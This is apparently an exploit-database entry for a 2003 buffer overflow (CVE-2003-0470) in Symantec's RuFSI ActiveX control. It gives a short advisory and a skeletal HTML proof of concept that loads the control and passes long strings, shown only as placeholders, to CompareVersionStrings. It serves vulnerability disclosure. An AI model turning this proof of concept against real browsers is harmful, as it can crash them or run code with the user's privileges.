Symantec Security Check RuFSI - ActiveX Control Buffer Overflow

Author: Cesar Cerrudo
type: dos
platform: windows
port: 
date_added: 2003-06-23 
date_updated: 2012-11-18 
verified: 1 
codes: CVE-2003-0470;OSVDB-2208 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/8008/info

It has been reported that the RuFSI Utility Class is vulnerable to a boundary condition error when invoked with long strings. This could potentially lead to the execution of code with the privileges of the user executing the web browser.

<object classid="clsid:69DEAF94-AF66-11D3-BEC0-00105AA9B6AE" id="test">
</object>

<script>
test.CompareVersionStrings("long string here","or long string here")
</script>